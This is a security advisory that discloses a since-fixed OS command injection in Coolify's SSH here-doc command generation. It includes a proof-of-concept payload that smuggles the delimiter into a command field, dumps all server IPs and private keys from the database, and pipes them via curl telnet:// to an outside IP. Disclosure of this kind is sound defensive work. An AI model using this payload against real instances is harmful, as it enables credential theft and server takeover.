coollabsio/coolify: OS Command Injection Vulnerability in SSH Command Generation Authenticated Attackers can takeover coolify instances Critical (9.4) CVSS: 4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H Affected version(s): >= 4.0.0-beta.18, < 4.0.0-beta.253 Reported: February 22, 2024 Status: Fixed

Summary

A vulnerability in the execution of commands on remote servers allows an authenticated user to execute arbitrary code on the local Coolify container, gaining access to data and private keys or tokens of other users/teams.

Details

Version 4.0.0-beta.18 of Coolify introduced a feature that allowed the software to execute commands on remote systems via SSH, which became a core part of the software’s architecture. While the command uses a so-called “here-doc” to safely insert possibly unformatted data into the ssh command, the function failed to strip the delimiter from said data.

$sshCommand = 'ssh '
    . '-i ./coolify_id25519'
    . '-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null '
    . '-o PasswordAuthentication=no '
    . "{$user}@{$destination} "
    . " 'bash -se' << \\$delimiter" . PHP_EOL
    . $command . PHP_EOL
    . $delimiter;

This feature was later moved, albeit slightly modified, to here. In cases where user-provided data is included in the remotely-executed command, an attacker can exploit this lack of sanitization to escape the ssh command and execute commands directly inside the container running Coolify.

ssh -i ./coolify_id25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PasswordAuthentication=no root@remote-node 'bash -se' << EOF-COOLIFY-SSH
<COMMAND_CONTAINING_DELIMITER>
EOF-COOLIFY-SSH

Proof of Concept

The goal of this proof of concept is to exfiltrate the server IP and the corresponding private key of all users registered on the Coolify instance. A video of this process can be found here:

By playing the video, you accept the terms and conditions of YouTube.com

The easiest way to inject malicious code into the command line is to use the feature introduced in #1524 to execute commands in the application container (done here) or the ability to set custom commands for a database import (#1625). While the front-end is escaping certain characters, the request to the server can be intercepted and modified to update the command:

id\nEOF-COOLIFY-SSH\nexport PGPASSWORD=$DB_PASSWORD;psql -h coolify-db -U coolify -c 'SELECT a.ip, b.private_key FROM servers AS a JOIN private_keys AS b ON a.private_key_id = b.id;' | curl -Ns telnet://192.168.124.24:9999\n

Because the ability to run commands in containers has received a security fix, the command itself is wrapped in sh -c "<COMMAND>", which results in the following code being executed when the payload is inserted:

sh -c timeout 7200 ssh -o ControlMaster=auto -o ControlPersist=1m -o ControlPath=/var/www/html/storage/app/ssh/mux/%h_%p_%r -i /var/www/html/storage/app/ssh/keys/id.root@yo00oww -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PasswordAuthentication=no -o ConnectTimeout=10 -o ServerAliveInterval=20 -o RequestTTY=no -o LogLevel=ERROR -p 22 root@192.168.124.18  'bash -se' << \EOF-COOLIFY-SSH
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/host/usr/local/sbin:/host/usr/local/bin:/host/usr/sbin:/host/usr/bin:/host/sbin:/host/bin && docker exec fs0cg00-151545124146 sh -c "id
EOF-COOLIFY-SSH
export PGPASSWORD=$DB_PASSWORD;psql -h coolify-db -U coolify -c 'SELECT a.ip, b.private_key FROM servers AS a JOIN private_keys AS b ON a.private_key_id = b.id;' | curl -Ns telnet://192.168.124.24:9999
"
EOF-COOLIFY-SSH

Since every line is run separately, the first time the shell sees EOF-COOLIFY-SSH, the command is considered complete and executed inside the remote container. However, since there are still three lines of the malicious command, the line beginning with export is run from within Coolify. The last two lines being invalid doesn’t affect the execution of the malicious command and are allowed to fail.

Setting PGPASSWORD from the variable DB_PASSWORD (which includes the password of Coolify’s database) enables the execution of psql without it asking for a password interactively. The Postgres client connects to the database running in container coolify-db with the username coolify and executes a SQL statement that joins data from two tables: servers registered with the Coolify instance and the corresponding private key.

The result of this command is then piped into curl, which - using the telnet:// protocol - is able to transmit the data via raw tcp to a remote server.

Impact

The ability to inject malicious commands into the Coolify container gives authenticated attackers the ability to fully retrieve and control the data and availability of the software. Centrally hosted Coolify instances (open registration and/or multiple teams with potentially untrustworthy users) are especially at risk, as sensitive data of all users and connected servers can be leaked by any user.

Additionally, attackers are able to modify the running software, potentially deploying malicious images to remote nodes or generally changing its behavior.